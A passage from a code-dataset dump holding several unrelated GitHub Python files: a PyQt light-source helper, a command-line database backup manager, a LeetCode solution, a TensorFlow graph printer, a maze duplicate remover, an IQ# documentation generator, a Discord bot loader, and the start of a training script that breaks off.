parse(\"Channel: {:2d} pin: {:2d} {} {:6.2f}[%] duty [{:4d}] Name: {}\", text)\n if r is not None:\n if len(r[:]) >= 6: # make sure we got correct status reponse\n channel = r[0]\n if r[2].strip() == 'On': \n enabled = True \n else: \n enabled = False\n intensity = r[3]\n name = str(r[5]).strip()\n if name == '': name = \"CH\"+str(channel+1)\n if channel>=0 and channel<=12 and intensity>=0. and intensity<=100. and self.ui is not None : # reasonable values\n # find the user interface elements (condenses the code)\n lineEdit = self.ui.findChild(QLineEdit, \"lineEdit_Channel\"+str(channel+1))\n horizontalSlider = self.ui.findChild(QSlider, \"horizontalSlider_Channel\"+str(channel+1))\n checkBoxMeasure = self.ui.findChild(QCheckBox, \"checkBox_MeasureChannel\"+str(channel+1))\n labelChannel = self.ui.findChild(QLabel, \"label_Channel\"+str(channel+1))\n checkBoxDisplay = self.ui.findChild(QCheckBox, \"checkBox_DisplayChannel\"+str(channel+1))\n # block signals from user interface elements when changing their values\n checkBoxMeasure.blockSignals(True)\n checkBoxDisplay.blockSignals(True)\n self.ui.comboBox_FirstChannel.blockSignals(True)\n self.ui.comboBox_SecondChannel.blockSignals(True)\n self.ui.comboBox_SelectBlueChannel.blockSignals(True)\n self.ui.comboBox_SelectGreenChannel.blockSignals(True)\n self.ui.comboBox_SelectRedChannel.blockSignals(True)\n # update user interface values\n horizontalSlider.setValue(int(intensity*10.0))\n lineEdit.setText(str(intensity))\n labelChannel.setText(name)\n checkBoxMeasure.setText(name)\n checkBoxMeasure.setChecked(enabled)\n checkBoxDisplay.setText(name)\n checkBoxDisplay.setChecked(enabled)\n self.ui.comboBox_FirstChannel.setItemText(channel, name)\n self.ui.comboBox_SecondChannel.setItemText(channel, name)\n self.ui.comboBox_SelectBlueChannel.setItemText(channel, name)\n self.ui.comboBox_SelectGreenChannel.setItemText(channel, name)\n self.ui.comboBox_SelectRedChannel.setItemText(channel, name)\n # unblock signals\n checkBoxMeasure.blockSignals(False)\n checkBoxDisplay.blockSignals(False)\n self.ui.comboBox_FirstChannel.blockSignals(False)\n self.ui.comboBox_SecondChannel.blockSignals(False)\n self.ui.comboBox_SelectBlueChannel.blockSignals(False)\n self.ui.comboBox_SelectGreenChannel.blockSignals(False)\n self.ui.comboBox_SelectRedChannel.blockSignals(False)\n # end values are in expected range\n # end got correct number of values\n # end found line with channel information\n # end for loop over lines received\n self.disconnectLightSourceRequest.emit()\n # self.serialWorker.textReceived.disconnect(self.on_ChannelSettings) # disconnect serial receiver to channel settings handler\n \n ########################################################################################\n # LED Intensity, Horizontal Slider\n\n @pyqtSlot()\n def on_IntensitySliderReleased(self):\n \"\"\" When the slider is released take the value and send over serial port \"\"\"\n sender = self.sender()\n value = sender.value()\n # find the user element to condense the code\n senderName = sender.objectName()\n channel = int(parse(\"horizontalSlider_Channel{}\", senderName)[0])\n if channel >= 1 and channel <=NUM_LEDS:\n self._setChannelIntensity(channel, float(value)/10.)\n self.logger.log(logging.DEBUG, \"[{}]: intensity slider on channel {} released at value {}.\".format(int(QThread.currentThreadId()),channel,value))\n\n @pyqtSlot(int)\n def on_IntensitySliderChanged(self,value):\n \"\"\" Update the line edit box when the slider is moved \"\"\"\n sender = self.sender()\n senderName = sender.objectName()\n channel = int(parse(\"horizontalSlider_Channel{}\", senderName)[0])\n if channel >= 1 and channel <= NUM_LEDS and self.ui is not None:\n lineEdit = self.ui.findChild(QLineEdit, \"lineEdit_Channel\"+str(channel))\n lineEdit.setText(str(float(value)/10.))\n self.logger.log(logging.DEBUG, \"[{}]: intensity channel {} changed to {}.\".format(int(QThread.currentThreadId()),channel,value))\n else:\n self.logger.log(logging.DEBUG, \"[{}]: not valid channel {}.\".format(int(QThread.currentThreadId()),channel))\n\n ########################################################################################\n # LED Intensity, Line Edit\n\n @pyqtSlot()\n def on_IntensityLineEditChanged(self):\n \"\"\" Manually entered text into the line edit field, update slider and send to serial port \"\"\"\n sender = self.sender()\n value = float(sender.text())\n senderName = sender.objectName()\n channel = int(parse(\"lineEdit_Channel{}\", senderName)[0])\n if value >= 0. and value <=100. and channel>=0 and channel <= NUM_LEDS and self.ui is not None:\n horizontalSlider = self.ui.findChild(QSlider, \"horizontalSlider_Channel\"+str(channel))\n horizontalSlider.setValue(int(value*10.)) \n self._setChannelIntensity(channel, value)\n self.logger.log(logging.DEBUG, \"[{}]: intensity channel {} changed\".format(int(QThread.currentThreadId()), channel))\n","repo_name":"uutzinger/spxcam","sub_path":"helpers/Qlightsource_helper.py","file_name":"Qlightsource_helper.py","file_ext":"py","file_size_in_byte":15047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19732460765","text":"import os\nfrom pathlib import Path\nimport shutil\nimport datetime\nimport cmd\nfrom datetime import datetime\n\nBACKUP_PATH = 'c:/Temp/configuration/'\n\n\ndef validate_datetime_format(date_string):\n template = '%Y%m%d_%H%M%S'\n try:\n datetime.strptime(date_string, template)\n return True\n except ValueError:\n return False\n\n\nclass BackupItem():\n \"\"\"A backup item is a subdirectory inside of the database backup folder.\n The backup item is capable of automatically validating the backup folder\n for the format and the folder contents.\n It allows manipulations like copy, move, delete, etc.\n \"\"\"\n backup_path = BACKUP_PATH\n\n def __init__(self, path, comment: str = None) -> None:\n \"\"\"Initialize a backup item.\"\"\"\n try:\n # Check if the backup folder is valid(naming, contents,...) so we can initialize the object\n self.check_errors(path, raise_errors=True)\n except ValueError as e:\n raise e\n else:\n # set the relative path to the item as a pathlib.Path object\n self.relative_path = Path(path)\n # initialize the log file (create it if it does not exist)\n self.init_log(comment)\n\n def init_log(self, comment:str=None):\n \"\"\"Initialize the log file.\"\"\"\n log_file = self.path() / 'backup.log'\n # touch the file to allow it to exist\n log_file.touch(exist_ok=True)\n if comment is None:\n # read the comment from the log file\n self.comment = self.write_log(comment)\n\n def read_log(self):\n \"\"\" Read the log file.\n\n Parameters\n ----------\n comment : str\n The comment to be written to the log file.\n If None, the comment will be read from the log file.\n\n Returns\n -------\n str\n The contents from the log file.\n \"\"\"\n log_file = self.path() / 'backup.log'\n with open(log_file, 'r') as log_file:\n return log_file.read()\n\n def write_log(self, text: str = None):\n \"\"\" write the log file.\n\n Parameters\n ----------\n text : str\n The text to be written to the log file.\n\n Raises\n ------\n ValueError\n If text is not None and is not a string.\n \"\"\"\n\n log_file = self.path() / 'backup.log'\n # touch the file to allow it to exist\n log_file.touch(exist_ok=True)\n with open(log_file, 'w') as log_file:\n log_file.write(text)\n\n\n def path(self):\n \"\"\"Return the absolute path of the backup item.\"\"\"\n return Path(self.backup_path, self.relative_path)\n\n @staticmethod\n def is_valid(path: str):\n \"\"\"Check if the backup item is valid.\n\n Parameters\n ----------\n path : str\n The backup folder to be validated.\n\n Returns\n -------\n bool\n True if the backup path is valid, False otherwise.\n \"\"\"\n try:\n BackupItem.check_errors(path)\n except Exception:\n return False\n else:\n return True\n\n def is_valid(self):\n \"\"\"Check if the backup item is valid.\n\n Returns\n -------\n bool\n True if the backup folder is valid, False otherwise.\n \"\"\"\n try:\n self.check_errors(self.path)\n except Exception:\n return False\n else:\n return True\n\n def name(self):\n \"\"\"Return the backup name.\"\"\"\n return Path(self.path).name\n\n @classmethod\n def check_errors(cls, backup_folder: str):\n \"\"\"Validates that the backup directory is valid.\n\n The directory to be valid must meet the following criteria:\n - it must be a directory (not a file or a link...)\n - it must be a subfolder of the current backup directory.\n - its name must respect the format 'Backup_YYYYMMDD_HHMMSS', where\n 'YYYYMMDD' is a valid date and 'HHMMSS' a valid time (e.g. 20200101_120000).\n - it must contain the following files:\n - Cefor.db (mandatory)\n - Cefor.db-shm (optional)\n - Cefor.db-wal (optional)\n\n Parameters\n ----------\n backup_folder : str\n The backup folder to be validated.\n\n Returns\n -------\n bool\n True if the backup folder is valid, False otherwise.\n Raises\n ------\n FileNotFoundError\n\n \"\"\"\n # test if backup folder path is absolute or relative\n if Path(backup_folder).is_absolute():\n path = Path(backup_folder)\n else:\n path = Path(cls.BACKUP_PATH, backup_folder)\n\n # test if path exists\n if not path.exists():\n raise FileNotFoundError(\n f'Backup path {path.absolute()} does not exist.')\n\n # test if path is really a path to a folder, not a file or a link...\n if not path.is_dir():\n raise NotADirectoryError(\n f'Backup path {path.absolute()} is not a directory.')\n\n # respects the naming template: path name starts with 'Backup_'\n if not path.name.startswith('Backup_'):\n raise ValueError(\n f'Backup path {path.absolute()} does not respect the naming template.')\n\n # ends with a date in the format YYYYMMDD-HHMMSS'\n if not validate_datetime_format(path.name.split('Backup_')[-1]):\n raise ValueError(\n f'Backup path {path.absolute()} does not respect the naming template.')\n\n # directory has valid file contents ('Cefor.db')\n required_file = 'Cefor.db'\n if not Path(path, required_file).exists():\n raise FileNotFoundError(\n f\"Backup path {path.absolute()} does not contain a required file: '{required_file}''.\")\n\n # If all tests passed, return None to indicate that the backup folder verification has no errors\n return True\n\n\nclass BackupAgent():\n def __init__(self, path=None) -> None:\n self.backup_path = path if path is not None else BACKUP_PATH\n\n def item(self, name):\n \"\"\"Return a backup item by name.\"\"\"\n return self.list().get(name)\n\n def list(self, destination_path=None):\n \"\"\"Create a list of all current backups.\n The list is based on the following criteria:\n - The backup folders must be inside of the backup path, e.g. 'c:/Temp/configuration/'\n - The backup folders must be named in the format 'Backup_YYYYMMDD_HHMMSS', e.g. 'Backup_2020-01-01'\n - The folder contents must contain the following files:\n - Cefor.db (mandatory)\n - Cefor.db-shm (optional)\n - Cefor.db-wal (optional)\n - backup.log (optional)\n - The backup.log file contains the comment for the backup.\n\n This function then looks into the subfolders of the backup path and checks if the above criteria are met,\n and stores the data into a dict to be manipulated by the Backup Manager.\n \"\"\"\n # filter items from the backup path that are a directory\n directories = filter(os.path.isdir, os.scandir(self.backup_path))\n # filter the directories that are valid backups\n directories = filter(self.validate_backup_path, directories)\n\n # Extracting comments from log files\n for directory in directories:\n log_file_path = os.path.join(directory.path, 'backup.log')\n if os.path.exists(log_file_path):\n with open(log_file_path, 'r') as log_file:\n directory.comment = log_file.read()\n else:\n directory.comment = ''\n\n return {item.name: item for item in directories}\n\n def qqvalidate_backup(self, paths):\n \"\"\"Verify that the backup path is valid.\n\n The backup path must meet the following criteria:\n - it must be a valid directory.\n - it must be a subfolder of the current working directory.\n - the name of the folder path must respect the format 'Backup_YYYYMMDD_HHMMSS', where\n YYYYMMDD_HHMMSS is a valid date and time (e.g. 20200101_120000)\n - The backup item path must contain the following files:\n - Cefor.db (mandatory)\n - Cefor.db-shm (optional)\n - Cefor.db-wal (optional)\n - backup.log (optional)\n Note: backup.log file contains the comment for the backup.\n \"\"\"\n\n # filter by directories\n valid_directories = filter(os.path.isdir, os.scandir(self.backup_path))\n # filter by criteria\n valid_directories = (x for x in valid_directories if (\n # filter directory by a naming template (starting with 'Backup_')\n x.name.startswith('Backup_') and\n # filter directory by a naming template (ending with a date in the format YYYYMMDD-HHMMSS')\n validate_datetime_format(x.name.split('Backup_')[-1]) and\n # filter directories that have valid file contents)\n validate_backup_folder_contents(x.path)))\n return valid_directories\n\n\nclass BackupManager(cmd.Cmd):\n \"\"\"Command line interface for managing database backups.\"\"\"\n\n intro = \"Welcome to the Database Backup Manager. Type 'help' to see available commands.\"\n prompt = \">> \"\n backups = {}\n\n def preloop(self):\n \"\"\"Load the list of backups when the program starts.\"\"\"\n self.load_backups()\n\n def load_backups(self):\n \"\"\"Load the list of backups from the backup folder.\"\"\"\n self.backups = {}\n files = os.listdir(BACKUP_PATH)\n for file in files:\n if file.endswith('.db'):\n backup_date = get_backup_date(file)\n if backup_date:\n self.backups[backup_date] = file\n\n def display_backups(self):\n \"\"\"Display a list of all current backups.\"\"\"\n num_char_comment = 80\n print(\"Backup List:\")\n print(\"{:<5} {:<20} {:<10} {:<{}}\".format(\n \"No.\", \"Name\", \"Date\", \"Comment\", num_char_comment))\n print(\"-\" * (num_char_comment+40))\n backup_number = 1\n for backup_date, backup_folder in sorted(self.backups.items()):\n backup_name = os.path.basename(backup_folder)\n backup_comment = ''\n log_file_path = os.path.join(backup_folder, 'backup.log')\n if os.path.exists(log_file_path):\n with open(log_file_path, 'r') as log_file:\n backup_comment = log_file.read(num_char_comment)\n print(\"{:<5} {:<20} {:<10} {:<{}}\".format(\n backup_number, backup_name, backup_date.strftime('%Y-%m-%d'), backup_comment, num_char_comment))\n backup_number += 1\n print(\"-\" * (num_char_comment+40))\n\n def do_backup(self, line):\n \"\"\"Create a backup of the database.\"\"\"\n date = datetime.datetime.now().strftime('%Y-%m-%d')\n comment = input(\"Enter a comment for the backup (or leave blank): \")\n backup_folder = os.path.join(BACKUP_PATH, date)\n os.makedirs(backup_folder, exist_ok=True)\n for file in ['Cefor.db', 'Cefor.db-shm', 'Cefor.db-wal']:\n shutil.copyfile(os.path.join(BACKUP_PATH, file),\n os.path.join(backup_folder, file))\n with open(os.path.join(backup_folder, 'backup.log'), 'w') as log_file:\n log_file.write(comment)\n self.backups[datetime.datetime.now()] = backup_folder\n print(f\"Backup created successfully: {backup_folder}\")\n\n def do_list(self, line):\n \"\"\"List all current backups of the database.\"\"\"\n self.display_backups()\n\n def do_restore(self, line):\n \"\"\"Restore a specific version of the database.\"\"\"\n self.display_backups()\n backup_number = input(\"Enter the number of the backup to restore: \")\n if backup_number.isdigit():\n backup_number = int(backup_number)\n if 1 <= backup_number <= len(self.backups):\n backup_date = sorted(self.backups.keys())[backup_number - 1]\n backup_folder = self.backups[backup_date]\n confirmation = input(\n f\"Are you sure you want to restore backup '{backup_folder}'? (y/n): \")\n if confirmation.lower() == 'y':\n # Move current database files to a safe folder\n safe_folder = os.path.join(BACKUP_PATH, 'safe')\n os.makedirs(safe_folder, exist_ok=True)\n for file in ['Cefor.db', 'Cefor.db-shm', 'Cefor.db-wal']:\n current_file_path = os.path.join(BACKUP_PATH, file)\n safe_file_path = os.path.join(safe_folder, file)\n if os.path.exists(current_file_path):\n shutil.move(current_file_path, safe_file_path)\n\n # Restore the selected backup files without overwriting existing files\n restore_folder = os.path.join(BACKUP_PATH, backup_folder)\n for file in ['Cefor.db', 'Cefor.db-shm', 'Cefor.db-wal']:\n backup_file_path = os.path.join(restore_folder, file)\n destination_file_path = os.path.join(BACKUP_PATH, file)\n if not os.path.exists(destination_file_path):\n shutil.copyfile(backup_file_path,\n destination_file_path)\n else:\n print(\n f\"Error: File '{destination_file_path}' already exists. Skipping restore for this file.\")\n\n print(\"Database restored successfully.\")\n else:\n print(\"Invalid backup number.\")\n else:\n print(\"Invalid input. Please enter a number.\")\n\n def parse_backup_numbers(self, backup_numbers_input):\n \"\"\"Parse the backup numbers input.\"\"\"\n backup_numbers_input = backup_numbers_input.strip()\n backup_numbers = []\n if backup_numbers_input.isdigit():\n backup_numbers.append(int(backup_numbers_input))\n elif '-' in backup_numbers_input:\n start, end = backup_numbers_input.split('-')\n if start.isdigit() and end.isdigit():\n backup_numbers = list(range(int(start), int(end) + 1))\n return backup_numbers\n\n def do_delete(self, line):\n \"\"\"Delete backups by number or range.\"\"\"\n self.display_backups()\n delete_input = input(\n \"Enter the number(s) of the backup(s) to delete (use * for full delete, range with '-'): \")\n delete_input = delete_input.strip()\n if delete_input == '*':\n confirmation = input(\n \"Are you sure you want to delete all backups? (y/n): \")\n if confirmation.lower() == 'y':\n print(\"*\" * 80)\n print(\n \"WARNING: This operation is irreversible and will permanently delete the following:\")\n print(\"*\" * 80)\n deleted_backups = list(self.backups.values())\n self.backups.clear()\n shutil.rmtree(BACKUP_PATH)\n os.mkdir(BACKUP_PATH)\n print(\"All backups deleted successfully.\\n\")\n print(\"Deleted backups:\")\n for backup_folder in deleted_backups:\n backup_path = os.path.join(BACKUP_PATH, backup_folder)\n files = os.listdir(backup_path)\n print(f\"\\nBackup folder: {backup_path}\")\n for file in files:\n file_path = os.path.join(backup_path, file)\n print(f\"File: {file_path}\")\n print(\"*\" * 80)\n else:\n try:\n backup_numbers = self.parse_backup_numbers(delete_input)\n if backup_numbers:\n confirm_message = f\"Are you sure you want to delete backup(s) {backup_numbers}? (y/n): \"\n confirmation = input(confirm_message)\n if confirmation.lower() == 'y':\n print(\"*\" * 80)\n print(\n \"WARNING: This operation is irreversible and will permanently delete the following:\")\n print(\"*\" * 80)\n deleted_backups = []\n for backup_number in backup_numbers:\n if 1 <= backup_number <= len(self.backups):\n backup_date = sorted(self.backups.keys())[\n backup_number - 1]\n backup_folder = self.backups[backup_date]\n print(\n f\"Are you sure you want to delete the following:\")\n print(f\"Backup folder: {backup_folder}\")\n print(\n f\"Files: {os.listdir(os.path.join(BACKUP_PATH, backup_folder))}\")\n confirm_delete = input(\"(y/n): \")\n if confirm_delete.lower() == 'y':\n deleted_backups.append(backup_folder)\n del self.backups[backup_date]\n backup_path = os.path.join(\n BACKUP_PATH, backup_folder)\n files = os.listdir(backup_path)\n print(f\"\\nBackup folder: {backup_path}\")\n for file in files:\n file_path = os.path.join(\n backup_path, file)\n print(f\"File: {file_path}\")\n shutil.rmtree(backup_path)\n print(\n f\"\\nDeleted backup successfully: {backup_folder}\\n\")\n else:\n print(\n f\"Deletion of backup {backup_folder} canceled.\\n\")\n print(\"*\" * 80)\n print(\"Deleted backups:\")\n for backup in deleted_backups:\n print(backup)\n print(\"*\" * 80)\n else:\n print(\"Deletion canceled.\")\n else:\n print(\"Invalid backup number(s).\")\n except ValueError:\n print(\"Invalid input. Please enter a valid backup number or range.\")\n\n def do_quit(self, line):\n \"\"\"Quit the program.\"\"\"\n print(\"Goodbye!\")\n return True\n\n\nif __name__ == '__main__':\n BackupManager().cmdloop()\n","repo_name":"toaster-code/backup_db","sub_path":"backup.py","file_name":"backup.py","file_ext":"py","file_size_in_byte":18974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9716267118","text":"class Solution:\n def splitArray(self, nums: List[int], k: int) -> int:\n def possibleArr(nums,split):\n# initially there is only 1 array with size 0\n noOfArr=1\n size=0\n for i in nums:\n# here we simply add the elements till the split value exceed \n if i+size > split:\n noOfArr+=1\n size=i\n else:\n size+=i\n# and return the total no of array we formed with the help of given splitter \n return noOfArr\n# problem is same to book allocation problem\n# here we take left as max number coz the least split we can do is that particular number\n left=max(nums)\n# and max is sum of all nums\n right=sum(nums)\n while left<=right:\n mid=(left+right)//2\n arr=possibleArr(nums,mid)\n# here we check if the no of splitted array is greater than k then we move higher side to give big range to split the array so we get the minimum or equal to k size array\n if arr > k:\n left=mid+1\n else:\n right=mid-1\n# at last we print left bcoz we want minimum of maximum \n return left ","repo_name":"janvi2002/Leetcode","sub_path":"0410-split-array-largest-sum/0410-split-array-largest-sum.py","file_name":"0410-split-array-largest-sum.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73803921682","text":"import tensorflow as tf\nimport argparse\n\ndef print_pb():\n parser = argparse.ArgumentParser()\n parser.register(\"type\", \"bool\", lambda v: v.lower() == \"true\")\n parser.add_argument(\n \"--input\",\n type=str,\n default=\"\",\n help=\"assign the name of input pb file\")\n parser.add_argument(\n \"--output\",\n type=str,\n default=\"./summary_pb.txt\",\n help=\"assign the name of output file\"\n )\n\n flags, unparsed = parser.parse_known_args()\n pb_file = flags.input\n output = flags.output\n\n graph = tf.Graph()\n graphDef = tf.compat.v1.GraphDef()\n with open(pb_file, \"rb\") as graphFile:\n graphDef.ParseFromString(graphFile.read())\n\n # read pb into graph_def\n with tf.io.gfile.GFile(pb_file, \"rb\") as f:\n graph_def = tf.compat.v1.GraphDef()\n graph_def.ParseFromString(f.read())\n\n # import graph_def\n with tf.compat.v1.Graph().as_default() as graph:\n tf.import_graph_def(graph_def)\n\n # print operations\n with open(output, 'w+') as f:\n for op in graph.get_operations():\n f.write(op.name)\n f.write('\\t')\n f.write(op.type)\n f.write('\\t[')\n if len(op.values()) == 0:\n continue\n if not str(op.values()[0].shape)==\"\":\n for s in op.values()[0].shape:\n f.write(str(s))\n f.write(' ')\n f.write(']\\n\\n')\n\nif __name__ == \"__main__\":\n print_pb()\n","repo_name":"kimnamu/convert_ckpt_pb_tflite","sub_path":"summary_pb.py","file_name":"summary_pb.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10625167087","text":"#!/usr/bin/env python3\n'''\n\nMiguel Sánchez de León Peque\n\nThis script helps removing duplicated maze files.\nFor each group of duplicated files their names will be displayed in a list:\n 0 - first_maze\n 1 - second_maze\n 2 - third_maze\nYou will be prompted to choose which files should be removed. Simply write\nthe number of the file you want to remove. If there is more than one file,\nthen write multiple numbers separated by a space.\nHit enter (without writing any number) if you want to keep all of them.\n'''\nfrom collections import defaultdict\nfrom hashlib import sha1\nfrom pathlib import Path\n\n\npath = Path('mazefiles/binary')\n\n# Calculate all verification sums\ntable = defaultdict(list)\nfor fname in path.glob('*.maz'):\n digest = sha1(fname.read_bytes()).hexdigest()\n table[digest].append(fname)\n\n# Iterate over duplicates and remove those selected\nfor digest, files in table.items():\n if len(files) == 1:\n continue\n print('----------------------------------')\n for i, fname in enumerate(files):\n print(' {} - {}'.format(i, fname))\n remove = input('Remove (separate by spaces if multiple): ')\n for number in remove.split(' '):\n if not number:\n continue\n fname = files[int(number)]\n fname.unlink()\n print('Removed {}'.format(fname))\n","repo_name":"micromouseonline/micromouse_maze_tool","sub_path":"remove_duplicates.py","file_name":"remove_duplicates.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"3"} +{"seq_id":"4564188207","text":"import json\nimport datetime\nimport dataclasses\n\nfrom io import StringIO\nfrom typing import List, Optional, Dict\nfrom pathlib import Path\n\nimport click\n\ntry:\n from ruamel.yaml import YAML\nexcept ImportError:\n from ruamel_yaml import YAML\n\nyaml = YAML()\nyaml.indent(mapping=2, sequence=2)\n\n@dataclasses.dataclass\nclass MagicReferenceDocument:\n content: str\n name: str\n safe_name: str\n uid: str\n summary: str\n\n@click.command()\n@click.argument(\"OUTPUT_DIR\")\n@click.argument(\"UID_BASE\")\n@click.option(\"--package\", \"-p\", multiple=True)\ndef main(output_dir : str, uid_base : str, package : List[str]):\n output_dir = Path(output_dir)\n # Make the output directory if it doesn't already exist.\n output_dir.mkdir(parents=True, exist_ok=True)\n\n import qsharp\n\n print(\"Adding packages...\")\n for package_name in package:\n qsharp.packages.add(package_name)\n \n print(\"Generating Markdown files...\")\n magics = qsharp.client._execute(r\"%lsmagic\")\n all_magics = {}\n for magic in magics:\n magic_doc = format_as_document(magic, uid_base)\n all_magics[magic_doc.name] = magic_doc\n with open(output_dir / f\"{magic_doc.safe_name}.md\", 'w', encoding='utf8') as f:\n f.write(magic_doc.content)\n\n toc_content = format_toc(all_magics)\n with open(output_dir / \"toc.yml\", 'w', encoding='utf8') as f:\n f.write(toc_content)\n \n index_content = format_index(all_magics, uid_base)\n with open(output_dir / \"index.md\", 'w', encoding='utf8') as f:\n f.write(index_content)\n\ndef format_as_section(name : str, content : Optional[str], heading_level : int = 2) -> str:\n content = content.strip() if content else None\n return f\"\"\"\n\n{\"#\" * heading_level} {name}\n\n{content}\n\n\"\"\" if content else \"\"\n\ndef _cleanup_markdown(content : str):\n # Ensure that there is exactly one trailing newline, and that each line\n # is free of trailing whitespace (with an exception for exactly two\n # trailing spaces). \n # We also want to make sure that there are not two or more blank lines in\n # a row.\n prev_blank = False\n for line in content.split(\"\\n\"):\n cleaned_line = line.rstrip() if line != line.rstrip() + \" \" else line\n this_blank = cleaned_line == \"\"\n\n if not (prev_blank and this_blank):\n yield cleaned_line\n\n prev_blank = this_blank\n\ndef cleanup_markdown(content : str):\n return \"\\n\".join(\n _cleanup_markdown(content)\n ).strip() + \"\\n\"\n\ndef as_yaml_header(metadata) -> str:\n # Convert the metadata header to YAML.\n metadata_as_yaml = StringIO()\n yaml.dump(metadata, metadata_as_yaml)\n\n return f\"---\\n{metadata_as_yaml.getvalue().rstrip()}\\n---\"\"\"\n\ndef format_as_document(magic, uid_base : str) -> MagicReferenceDocument:\n # NB: this function supports both the old and new Documentation format.\n # See https://github.com/microsoft/jupyter-core/pull/49.\n magic_name = magic['Name'].strip()\n safe_name = magic_name.replace('%', '')\n uid = f\"{uid_base}.{safe_name}\"\n doc = magic['Documentation']\n raw_summary = doc.get('Summary', \"\")\n metadata = {\n 'title': f\"{magic_name} (magic command)\",\n 'description': raw_summary.strip(),\n 'author': 'anjbur',\n 'uid': uid,\n 'ms.author': 'anburton',\n 'ms.date': datetime.date.today().strftime(\"%m/%d/%Y\"),\n 'ms.topic': 'managed-reference'\n }\n \n header = f\"# `{magic_name}`\"\n\n summary = format_as_section('Summary', raw_summary)\n description = format_as_section(\n 'Description',\n doc.get('Description', doc.get('Full', ''))\n )\n remarks = format_as_section('Remarks', doc.get('Remarks', \"\"))\n\n raw_examples = doc.get('Examples', [])\n examples = format_as_section(f'Examples for `{magic_name}`', \"\\n\".join(\n format_as_section(f\"Example {i+1}\", example, heading_level=3)\n for i, example in enumerate(raw_examples)\n )) if raw_examples else \"\"\n\n raw_see_also = doc.get('SeeAlso', [])\n see_also = format_as_section(\n \"See Also\",\n \"\\n\".join(\n f\"- [{description}]({target})\"\n for description, target in raw_see_also\n )\n ) if raw_see_also else \"\"\n\n return MagicReferenceDocument(\n content=cleanup_markdown(f\"\"\"\n{as_yaml_header(metadata)}\n\n\n\n{header}\n{summary}\n{description}\n{remarks}\n{examples}\n{see_also}\n \"\"\"),\n name=magic_name, safe_name=safe_name,\n uid=uid,\n summary=raw_summary\n )\n\ndef format_toc(all_magics : Dict[str, MagicReferenceDocument]) -> str:\n toc_content = [\n {\n 'href': \"index.md\",\n 'name': \"IQ# magic commands\"\n }\n ]\n toc_content.extend([\n {\n 'href': f\"{doc.safe_name}.md\",\n 'name': f\"{doc.name} magic command\"\n }\n for magic_name, doc in sorted(all_magics.items(), key=lambda item: item[0])\n ])\n \n as_yaml = StringIO()\n yaml.dump(toc_content, as_yaml)\n\n return as_yaml.getvalue()\n\n\ndef format_index(all_magics : Dict[str, MagicReferenceDocument], uid_base : str) -> str:\n index_content = \"\\n\".join(\n f\"| [`{magic_name}`](xref:{doc.uid}) | {doc.summary} |\"\n for magic_name, doc in sorted(all_magics.items(), key=lambda item: item[0])\n )\n metadata = {\n 'title': \"IQ# Magic Commands\",\n 'description': \"Lists the magic commands available in the IQ# Jupyter kernel.\",\n 'author': 'rmshaffer',\n 'uid': f\"{uid_base}.index\",\n 'ms.author': 'ryansha',\n 'ms.date': datetime.date.today().strftime(\"%m/%d/%Y\"),\n 'ms.topic': 'article'\n }\n return cleanup_markdown(f\"\"\"\n{as_yaml_header(metadata)}\n# IQ# Magic Commands \n| Magic Command | Summary |\n|---------------|---------|\n{index_content}\n \"\"\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"microsoft/iqsharp","sub_path":"build/docs/build_docs.py","file_name":"build_docs.py","file_ext":"py","file_size_in_byte":6071,"program_lang":"python","lang":"en","doc_type":"code","stars":122,"dataset":"github-code","pt":"3"} +{"seq_id":"15710681786","text":"import discord\nimport os\nfrom discord.ext import commands\n\ncommand_prefix = '!!'\nhsbot = commands.Bot(command_prefix=command_prefix)\n\n# Reads the token from file\ndef read_token():\n with open(\"token.txt\") as token:\n line = token.readlines()\n return line[0].strip()\n\n\nTOKEN = read_token()\n\n@hsbot.event\nasync def on_ready():\n print(\"Bot is ready!\")\n\n# get all the cogs\nfor filename in os.listdir('./cogs'):\n if filename.endswith('.py'):\n hsbot.load_extension(f'cogs.{filename[:-3]}')\n\nhsbot.run(TOKEN)","repo_name":"Skonton/highscorebot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"39020446382","text":"import os\nimport tensorflow as tf\nimport utils\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pickle\nimport gc\nimport shutil\nfrom models import GenericNet\nfrom tensorflow.keras.callbacks import ModelCheckpoint\nfrom tensorflow.keras.optimizers import SGD\nfrom tensorflow import device\nfrom pathlib import Path\nfrom datetime import datetime\nfrom config import shapes_config as config\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '1'\n\n\ndef parse_command_line_args(args):\n if args['smoothing'] is None:\n # default smoothing parameters\n sf_list = [0.5, 0.6, 0.7]\n else:\n assert 1 > args['smoothing'] >= 0, 'smoothing parameter must be in [0,1)'\n sf_list = [args['smoothing']]\n\n if args['trait'] is None:\n # default to exhaustive list of trait combinations\n experiment_traits = ['scale', 'color', 'shape', 'all', 'color-shape', 'color-size', 'shape-size']\n else:\n possible_traits = ['scale', 'color', 'shape', 'all', 'color-shape', 'color-size', 'shape-size']\n assert args['trait'] in possible_traits, 'trait not recognized.'\n experiment_traits = [args['trait']]\n\n # defaults to [0.5, 0.5] for equal trait weighting\n assert 1 > args['dualweight'] > 0, 'dualweight parameter must be in (0,1)'\n trait_weights = [args['dualweight'], 1 - args['dualweight']]\n\n return sf_list, trait_weights, experiment_traits\n\n\n# to fix cudnn handle error\nutils.train.configure_gpu_options()\nargs = utils.train.get_command_line_args()\n\n# this forces the same weights for all dual trait combinations with the trait_weights variable. \n# For more flexibility you can redefine it as a custom dictionary with the respective trait \n# combinations as keys, i.e. 'color-shape', 'color-size', and 'shape-size', and the values each \n# being a 2d list of values in (0,1) that sum to 1 e.g. - \n# trait_weights = {'color-shape': [0.2, 0.8], 'color-size': [0.4,0.6], 'shape-size': [0.5,0.5]}\n# the variable will be overriden \nsf_list, trait_weights, experiment_traits = parse_command_line_args(args)\n\ninput_shape = 